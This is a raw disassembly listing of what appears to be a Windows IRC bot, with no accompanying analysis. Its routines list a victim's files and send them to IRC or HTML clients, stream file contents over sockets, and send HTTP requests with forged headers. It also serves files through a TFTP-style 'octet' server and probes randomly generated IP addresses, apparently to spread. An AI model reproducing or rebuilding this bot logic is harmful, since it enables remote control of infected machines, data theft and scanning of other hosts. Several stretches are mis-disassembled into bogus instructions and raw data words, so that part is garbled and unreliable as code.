push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_40456D
; ---------------------------------------------------------------------------
loc_4045AC: ; CODE XREF: sub_404134+454j
cmp [ebp+arg_C], ebx
jz loc_4046AC
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_410A8A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_410B60
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4307E0 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_2 ; "%s%s"
push edi
push eax
call sub_410A8A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_410B60
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4307E0 ; send
lea eax, [ebp+var_35C]
push eax
call sub_410B60
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_40464C
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_404651
; ---------------------------------------------------------------------------
loc_40464C: ; CODE XREF: sub_404134+50Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_404651: ; CODE XREF: sub_404134+516j
lea eax, [ebp+var_248]
push edi
push eax
call sub_410A8A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_410B60
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4307E0 ; send
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp+var_248]
push edi
push eax
call sub_410A8A
add esp, 1Ch
jmp short loc_4046D2
; ---------------------------------------------------------------------------
loc_4046AC: ; CODE XREF: sub_404134+47Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi
loc_4046C3: ; CODE XREF: sub_404134+407j
lea eax, [ebp+var_248]
push eax
call sub_410A8A
add esp, 18h
loc_4046D2: ; CODE XREF: sub_404134+31Dj
; sub_404134+449j ...
lea eax, [ebp+var_248]
push ebx
push eax
call sub_410B60
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4307E0 ; send
cmp [ebp+arg_8], ebx
jz short loc_404701
push 7D0h
call ds:dword_41C058 ; Sleep
loc_404701: ; CODE XREF: sub_404134+226j
; sub_404134+241j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call ds:dword_41C08C ; FindNextFileA
test eax, eax
jnz loc_404354
loc_404719: ; CODE XREF: sub_404134+215j
push [ebp+arg_0]
call near ptr 3E0000h
mov cl, 39h
pop ebp
adc [ebp+esi+var_75], dh
inc ebp
clc
cdq
push edx
push eax
call sub_40867B
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_40867B
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_41050B
add esp, 14h
jmp short loc_404790
; ---------------------------------------------------------------------------
cmp [ebp+arg_C], ebx
jz short loc_404776
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_41050B
pop ecx
pop ecx
jmp short loc_404790
; ---------------------------------------------------------------------------
loc_404776: ; CODE XREF: sub_404134+62Bj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_41050B
add esp, 10h
loc_404790: ; CODE XREF: sub_404134+626j
; sub_404134+640j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_410B60
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4307E0 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_404134 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4047B6 proc near ; CODE XREF: seg000:00403E3Dp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call ds:dword_41C078 ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40486E
push esi
push ebx
call near ptr 3E0000h
inc edx
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_404867
loc_4047FB: ; CODE XREF: sub_4047B6+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_410590
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_404818
mov edi, [ebp+arg_4]
loc_404818: ; CODE XREF: sub_4047B6+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call ds:dword_41C098 ; SetFilePointer
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call ds:dword_41C094 ; ReadFile
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call ds:dword_4307E0 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_404862
call ds:dword_430730 ; WSAGetLastError
cmp eax, 2733h
jnz short loc_404867
xor eax, eax
loc_404862: ; CODE XREF: sub_4047B6+9Bj
sub [ebp+arg_4], eax
jnz short loc_4047FB
loc_404867: ; CODE XREF: sub_4047B6+43j
; sub_4047B6+A8j
push ebx
call ds:dword_41C070 ; CloseHandle
loc_40486E: ; CODE XREF: sub_4047B6+30j
pop edi
pop esi
pop ebx
leave
retn
sub_4047B6 endp
; =============== S U B R O U T I N E =======================================
sub_404873 proc near ; CODE XREF: seg000:00404000p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_410B60
test eax, eax
pop ecx
jbe short loc_40489C
loc_404886: ; CODE XREF: sub_404873+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_404890
mov byte ptr [esi+edi], 2Fh
loc_404890: ; CODE XREF: sub_404873+17j
push edi
inc esi
call sub_410B60
cmp esi, eax
pop ecx
jb short loc_404886
loc_40489C: ; CODE XREF: sub_404873+11j
mov eax, edi
pop edi
pop esi
retn
sub_404873 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4048A1 proc near ; CODE XREF: seg000:0040B5C5p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call ds:dword_430718 ; WSAStartup
push 6
push 1
push 2
call ds:dword_430810 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_410590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call ds:dword_430794 ; ntohs
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40731F
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call ds:dword_430740 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40497E
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_40491A
mov eax, offset dword_42F3E8
loc_40491A: ; CODE XREF: sub_4048A1+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_410A8A
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_410B60
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call ds:dword_4307E0 ; send
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_4105F0
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call ds:dword_4307AC ; recv
pop esi
loc_40497E: ; CODE XREF: sub_4048A1+6Bj
push ebx
call ds:dword_430828 ; closesocket
call ds:dword_430700 ; WSACleanup
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_41050B
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_4049BE
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E367
add esp, 14h
loc_4049BE: ; CODE XREF: sub_4048A1+102j
pop edi
pop ebx
leave
retn
sub_4048A1 endp
; ---------------------------------------------------------------------------
loc_4049C2: ; CODE XREF: seg000:loc_404EADp
; DATA XREF: seg000:00405101o ...
push ebp
mov ebp, esp
sub esp, 884h
push ebx
push esi
push edi
mov edx, [ebp+8]
mov esi, offset aOctet ; "octet"
lea edi, [ebp-1Ch]
movsd
push 1
xor ebx, ebx
movsw
pop eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp-37Ch]
push ebx
push 2
rep movsd
inc dword ptr [ebp-16Ch]
push 2
mov [ebp-0Ch], eax
mov [edx+2A0h], eax
call ds:dword_430810 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-10h], edi
jnz short near ptr loc_404A84+1
push 190h
call ds:dword_41C058 ; Sleep
call ds:dword_430730 ; WSAGetLastError
push eax
lea eax, [ebp-780h]
push offset unk_41FF6C
push eax
call sub_41050B
add esp, 0Ch
cmp [ebp-0E0h], ebx
jnz short loc_404A65
push ebx
lea eax, [ebp-780h]
push dword ptr [ebp-0E4h]
push eax
lea eax, [ebp-164h]
push eax
push dword ptr [ebp-37Ch]
call sub_40E367
add esp, 14h
loc_404A65: ; CODE XREF: seg000:00404A40j
lea eax, [ebp-780h]
push eax
call sub_407E0E
push dword ptr [ebp-170h]
call sub_4102D3
pop ecx
pop ecx
push ebx
call near ptr 3E0000h
loc_404A84: ; CODE XREF: seg000:00404A12j
aam 8Bh
test [eax+6AFFFFFEh], edx
adc [ecx-40h], ch
xor al, 2
; ---------------------------------------------------------------------------
db 2 dup(0), 53h
; ---------------------------------------------------------------------------
mov ds:dword_4358E4[eax], edi
lea eax, [ebp-44h]
push eax
call sub_410590
add esp, 0Ch
mov word ptr [ebp-44h], 2
push dword ptr [ebp-168h]
call ds:dword_430794 ; ntohs
mov [ebp-42h], ax
lea eax, [ebp-44h]
push 10h
push eax
push edi
mov [ebp-40h], ebx
call ds:dword_4307C0 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_404AEA
push 1388h
call ds:dword_41C058 ; Sleep
dec dword ptr [ebp-16Ch]
push dword ptr [ebp+8]
jmp loc_404EAD
; ---------------------------------------------------------------------------
loc_404AEA: ; CODE XREF: seg000:00404ACFj
lea eax, [ebp-378h]
push offset aRb ; "rb"
push eax
call sub_411B4E
pop ecx
cmp eax, ebx
pop ecx
mov [ebp-8], eax
jnz short near ptr loc_404B67+1
push 190h
call ds:dword_41C058 ; Sleep
lea eax, [ebp-378h]
push eax
lea eax, [ebp-780h]
push offset unk_41FF1C
push eax
call sub_41050B
loc_404B27: ; CODE XREF: seg000:loc_404B67j
push ebx
lea eax, [ebp-780h]
push dword ptr [ebp-0E4h]
push eax
lea eax, [ebp-164h]
push eax
push dword ptr [ebp-37Ch]
call sub_40E367
lea eax, [ebp-780h]
push eax
call sub_407E0E
push dword ptr [ebp-170h]
call sub_4102D3
add esp, 28h
push ebx
call near ptr 3E0000h
loc_404B67: ; CODE XREF: seg000:00404B02j
jp short loc_404B27
add [edx], al
; ---------------------------------------------------------------------------
db 0
dd 8458B00h, 2A09839h, 840F0000h, 2F1h, 0F780BD89h, 80BFFFFFh
dd 57000000h, 0FF28858Dh, 5053FFFFh, 5CC45C7h, 0C7000000h
dd 1388D045h, 85C70000h, 0FFFFF77Ch, 1, 0B9E3E8h, 0CC48300h
dd 50CC458Dh, 7C858D53h, 53FFFFF7h, 15FF5350h, 43077Ch
dd 8E0FC085h, 295h, 42F3E8A0h, 88CF8B00h, 0FFFA8085h, 8DC033FFh
dd 0FFFA81BDh, 0FC45C7FFh, 10h, 0AB66ABF3h, 0F07D8BAAh
dd 50FC458Dh, 50D4458Dh, 28858D53h, 68FFFFFFh, 80h, 15FF5750h
dd 43076Ch, 89D875FFh, 15FFF445h, 43081Ch, 0A8458D50h
dd 0B8E9E850h, 9D380000h, 0FFFFFF28h, 850F5959h, 21Bh
dd 0FF29BD80h, 0F01FFFFh, 15A85h, 8C858D00h, 50FFFFFDh
dd 0BF17E8h, 5848D00h, 0FFFFFF2Bh, 8DEC4589h, 0FFFD8C85h
dd 1E850FFh, 500000BFh, 0FF2A858Dh, 8D50FFFFh, 0FFFD8C85h
dd 1DE850FFh, 830000D2h, 0C08514C4h, 0D3850Fh, 458D0000h
dd 0D9E850E4h, 500000BEh, 0FFE4458Dh, 0E850EC75h, 0D1FCh
dd 8510C483h, 0B2850FC0h, 53000000h, 0F875FF53h, 0D155E8h
dd 0F875FF00h, 0FA84858Dh, 9D88FFFFh, 0FFFFFA80h, 0FA8185C6h
dd 5603FFFFh, 8850016Ah, 0FFFA829Dh, 8385C6FFh, 1FFFFFAh
dd 0CD71E8h, 1CC48300h, 89D44D8Dh, 0C083F445h, 0FC75FF04h
dd 8D505351h, 0FFFA8085h, 0FF5750FFh, 4307F415h, 88858D00h
dd 50FFFFFCh, 50A8458Dh, 41FEC868h, 80858D00h, 50FFFFF8h
dd 0B7FAE8h, 10C48300h, 0FF209D39h, 2375FFFFh, 80858D53h
dd 0FFFFFFF8h, 0FFFF1CB5h, 858D50FFh, 0FFFFFE9Ch, 84B5FF50h
dd 0E8FFFFFCh, 962Bh, 8D14C483h, 0FFF88085h, 0C3E850FFh
dd 59000030h, 110E9h, 0FC75FF00h, 50D4458Dh, 68136A53h
dd 41FEB4h, 0F415FF57h, 8D004307h, 0FFFD8C85h, 458D50FFh
dd 858D50A8h, 0FFFFFF28h, 41FE7868h, 88E85000h, 8D0000B7h
dd 0FFFF2885h, 7FE850FFh, 83000030h, 0CAE914C4h, 80000000h
dd 0FFFF29BDh, 850F04FFh, 0A7h, 0FF2B8D8Ah, 858AFFFFh
dd 0FFFFFF2Ah, 88FFF980h, 0FFFA809Dh, 8185C6FFh, 3FFFFFAh
dd 0C0FE1275h, 8588C932h, 0FFFFFA82h, 0FA839D88h, 0EEBFFFFh
dd 8588C1FEh, 0FFFFFA82h, 0FA838D88h, 0B60FFFFFh, 0C9B60FC0h
dd 308E0C1h, 0E0C153C1h, 50C62B09h, 0E8F875FFh, 0D002h
dd 8DF875FFh, 0FFFA8485h, 16A56FFh, 0CC38E850h, 0C4830000h
dd 8DF88B1Ch, 7D89D445h, 0FC75FFF4h, 4478D50h, 858D5053h
dd 0FFFFFA80h, 0F075FF50h, 7F415FFh, 0FB3B0043h, 858D2B75h
dd 0FFFFFC88h, 0A8458D50h, 0FE286850h, 0BAE90041h, 0FFFFFFFEh
dd 458DFC75h, 6A5350D4h, 0FE1C6809h, 0FF570041h, 4307F415h
dd 0F45D3900h, 0FF07D8Bh, 0FFFD008Fh, 15FF57FFh, 430828h
dd 0E8F875FFh, 0CB74h, 0FF08758Bh, 0FFFE948Dh, 9E3959FFh
dd 2A0h, 0B5FF1375h, 0FFFFFE90h, 0B43AE8h, 0E8535900h
dd 0FFFDB160h, 3E86832h, 15FF0000h, 41C058h
; ---------------------------------------------------------------------------
push esi
loc_404EAD: ; CODE XREF: seg000:00404AE5j
call loc_4049C2
pop edi
pop esi
pop ebx
leave
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404EB9 proc near ; CODE XREF: seg000:0040DFF2p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_4200BC
push eax
xor ebx, ebx
call sub_41050B
cmp ds:dword_41FFE8, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_404F27
push esi
mov esi, offset dword_41FFF0
loc_404EEC: ; CODE XREF: sub_404EB9+6Bj
mov eax, [esi]
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset aSD ; " %s: %d,"
push eax
call sub_41050B
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_411ED0
add esi, 3Ch
add esp, 1Ch
cmp dword ptr [esi-8], 0
jnz short loc_404EEC
pop esi
loc_404F27: ; CODE XREF: sub_404EB9+2Bj
push ds:dword_45EBC8
call sub_40787D
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_41050B
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_411ED0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E367
lea eax, [ebp+var_200]
push eax
call sub_407E0E
add esp, 38h
pop edi
pop ebx
leave
retn
sub_404EB9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404F83 proc near ; CODE XREF: seg000:0040D9A7p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 8
call sub_4101FF
test eax, eax
pop ecx
jle short loc_404FBF
mov eax, [ebp+arg_C]
push ds:dword_42F3F8[eax*8]
call ds:dword_43081C ; inet_ntoa
push eax
lea eax, [ebp+var_200]
push offset unk_420128
push eax
call sub_41050B
add esp, 0Ch
jmp short loc_404FD2
; ---------------------------------------------------------------------------
loc_404FBF: ; CODE XREF: sub_404F83+13j
lea eax, [ebp+var_200]
push offset unk_4200F4
push eax
call sub_41050B
pop ecx
pop ecx
loc_404FD2: ; CODE XREF: sub_404F83+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E367
lea eax, [ebp+var_200]
push eax
call sub_407E0E
add esp, 18h
leave
retn
sub_404F83 endp
; ---------------------------------------------------------------------------
loc_404FFA: ; CODE XREF: sub_40550F+263p
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+138h]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40538A
imul eax, 3Ch
xor ebx, ebx
cmp ds:dword_41FFF4[eax], ebx
jz loc_40526B
push 4
call sub_4101FF
test eax, eax
pop ecx
jnz loc_40538A
mov eax, ds:dword_422FF8
push edi
mov edi, offset dword_42FD74
push 104h
push edi
push ebx
mov ds:dword_42FF84, eax
mov ds:dword_42FF80, ebx
call near ptr 3E0000h
; ---------------------------------------------------------------------------
db 0DDh
; ---------------------------------------------------------------------------
push 103h
mov esi, offset dword_42FE78
push offset byte_423068
push esi
call sub_411D00
mov eax, [ebp+118h]
add esp, 0Ch
cmp [ebp+98h], bl
mov ds:dword_42FD70, eax
mov eax, [ebp+140h]
push 7Fh
mov ds:dword_430008, eax
jnz short loc_4050AD
lea eax, [ebp+18h]
push eax
push offset dword_42FF88
call sub_411D00
add esp, 0Ch
mov ds:dword_43000C, 1
jmp short loc_4050C7
; ---------------------------------------------------------------------------
loc_4050AD: ; CODE XREF: seg000:0040508Ej
lea eax, [ebp+98h]
push eax
push offset dword_42FF88
call sub_411D00
add esp, 0Ch
mov ds:dword_43000C, ebx
loc_4050C7: ; CODE XREF: seg000:004050ABj
push esi
push edi
push ds:dword_42FF84
lea eax, [ebp-204h]
push offset unk_4202D4
push eax
call sub_41050B
push ebx
lea eax, [ebp-204h]
push 4
push eax
call sub_40FFB7
add esp, 20h
mov ds:dword_42FF7C, eax
lea eax, [ebp-4]
push eax
push ebx
push offset dword_42FD70
push offset loc_4049C2
push ebx
push ebx
call ds:dword_41C06C ; CreateThread
mov ecx, ds:dword_42FF7C
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4358EC[ecx], eax
jz short loc_405136
loc_405124: ; CODE XREF: seg000:00405134j
cmp ds:dword_430010, ebx
jnz short loc_405151
push 32h
call ds:dword_41C058 ; Sleep
jmp short loc_405124
; ---------------------------------------------------------------------------
loc_405136: ; CODE XREF: seg000:00405122j
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
lea eax, [ebp-204h]
push offset unk_42028C
push eax
call sub_41050B
add esp, 0Ch
loc_405151: ; CODE XREF: seg000:0040512Aj
lea eax, [ebp-204h]
push eax
call sub_407E0E
mov edi, offset dword_4303CC
mov dword ptr [esp], 104h
push edi
push ebx
mov ds:dword_4305D8, ebx
call near ptr 3E0000h
dec ebx
push 103h
mov esi, offset dword_4304D0
push offset byte_423068
push esi
call sub_411D00
mov eax, [ebp+118h]
add esp, 0Ch
cmp [ebp+98h], bl
mov ds:dword_4303C8, eax
mov eax, [ebp+140h]
push 7Fh
mov ds:dword_430660, eax
jnz short loc_4051CC
lea eax, [ebp+18h]
push eax
push offset dword_4305E0
call sub_411D00
add esp, 0Ch
mov ds:dword_430664, 1
jmp short loc_4051E6
; ---------------------------------------------------------------------------
loc_4051CC: ; CODE XREF: seg000:004051ADj
lea eax, [ebp+98h]
push eax
push offset dword_4305E0
call sub_411D00
add esp, 0Ch
mov ds:dword_430664, ebx
loc_4051E6: ; CODE XREF: seg000:004051CAj
push esi
push edi
push ds:dword_4305DC
lea eax, [ebp-204h]
push offset dword_420238
push eax
call sub_41050B
push ebx
lea eax, [ebp-204h]
push 5
push eax
call sub_40FFB7
add esp, 20h
mov ds:dword_4305D4, eax
lea eax, [ebp-4]
push eax
push ebx
push offset dword_4303C8
push offset sub_40318D
push ebx
push ebx
call ds:dword_41C06C ; CreateThread
mov ecx, ds:dword_4305D4
pop edi
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4358EC[ecx], eax
jz short loc_40525A
loc_405244: ; CODE XREF: seg000:00405258j
cmp ds:dword_430668, ebx
jnz loc_40537D
push 32h
call ds:dword_41C058 ; Sleep
jmp short loc_405244
; ---------------------------------------------------------------------------
loc_40525A: ; CODE XREF: seg000:00405242j
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
push offset dword_4201F4
jmp loc_40536E
; ---------------------------------------------------------------------------
loc_40526B: ; CODE XREF: seg000:0040501Fj
cmp ds:dword_41FFF8[eax], ebx
jz loc_40538A
push 3
call sub_4101FF
test eax, eax
pop ecx
jnz loc_40538A
mov esi, offset dword_4302A4
push 104h
push esi
push ebx
call near ptr 3E0000h
add eax, 0E8565C6Ah
pop edi
int 0 ; - internal hardware - DIVIDE ERROR
; Automatically called at end of DIV or IDIV operation that results in error
; or overflow. Normally set by DOS to display an error message and abort
; the program.
add [ecx+3Bh], bl
retn
; ---------------------------------------------------------------------------
pop ecx
jz short loc_4052A9
mov [eax], bl
loc_4052A9: ; CODE XREF: seg000:004052A5j
mov eax, ds:dword_422FFC
mov ds:dword_4303BC, ebx
mov ds:dword_4303A8, eax
lea eax, [ebp+18h]
push eax
push offset dword_43001C
call sub_41050B
mov eax, [ebp+118h]
pop ecx
pop ecx
mov ds:dword_430018, eax
mov ecx, [ebp+140h]
push esi
push ds:dword_4303A8
mov ds:dword_4303B4, ecx
mov ecx, [ebp+144h]
push eax
mov ds:dword_4303B8, ecx
call sub_407435
pop ecx
push eax
lea eax, [ebp-204h]
push offset unk_4201A4
push eax
call sub_41050B
push ebx
lea eax, [ebp-204h]
push 3
push eax
call sub_40FFB7
add esp, 20h
mov ds:dword_4303B0, eax
lea eax, [ebp-4]
push eax
push ebx
push offset dword_430018
push offset sub_4038A7
push ebx
push ebx
call ds:dword_41C06C ; CreateThread
mov ecx, ds:dword_4303B0
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4358EC[ecx], eax
jz short loc_405362
loc_405350: ; CODE XREF: seg000:00405360j
cmp ds:dword_4303C4, ebx
jnz short loc_40537D
push 32h
call ds:dword_41C058 ; Sleep
jmp short loc_405350
; ---------------------------------------------------------------------------
loc_405362: ; CODE XREF: seg000:0040534Ej
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
push offset unk_42015C
loc_40536E: ; CODE XREF: seg000:00405266j
lea eax, [ebp-204h]
push eax
call sub_41050B
add esp, 0Ch
loc_40537D: ; CODE XREF: seg000:0040524Aj
; seg000:00405356j
lea eax, [ebp-204h]
push eax
call sub_407E0E
pop ecx
loc_40538A: ; CODE XREF: seg000:0040500Ej
; seg000:0040502Fj ...
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40538E proc near ; CODE XREF: sub_40550F:loc_405580p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:42F3F8h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_4105F0
add esp, 0Ch
push [ebp+arg_0]
call ds:dword_4306D8 ; ntohl
inc eax
push eax
mov [ebp+arg_0], eax
call ds:dword_430790 ; ntohl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_4105F0
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40538E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4053D6 proc near ; CODE XREF: sub_40550F+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_410B60
cmp eax, 0Fh
pop ecx
jbe short loc_4053FE
xor eax, eax
jmp short loc_40546F
; ---------------------------------------------------------------------------
loc_4053FE: ; CODE XREF: sub_4053D6+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_4118E0
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40542B
call sub_410567
mov [ebp+var_C], eax
loc_40542B: ; CODE XREF: sub_4053D6+4Bj
cmp [ebp+var_8], esi
jnz short loc_405438
call sub_410567
mov [ebp+var_8], eax
loc_405438: ; CODE XREF: sub_4053D6+58j
cmp [ebp+var_4], esi
jnz short loc_405445
call sub_410567
mov [ebp+var_4], eax
loc_405445: ; CODE XREF: sub_4053D6+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_405451
call sub_410567
loc_405451: ; CODE XREF: sub_4053D6+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov ds:dword_42F3F8[ecx*8], eax
loc_40546F: ; CODE XREF: sub_4053D6+26j
pop esi
leave
retn
sub_4053D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405472 proc near ; CODE XREF: sub_40550F+B8p
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call ds:dword_430810 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40549B
xor eax, eax
jmp short loc_40550A
; ---------------------------------------------------------------------------
loc_40549B: ; CODE XREF: sub_405472+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call ds:dword_430794 ; ntohs
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call ds:dword_43082C ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call ds:dword_430740 ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call ds:dword_43077C ; select
push esi
mov edi, eax
call ds:dword_430828 ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_40550A: ; CODE XREF: sub_405472+27j
pop edi
pop esi
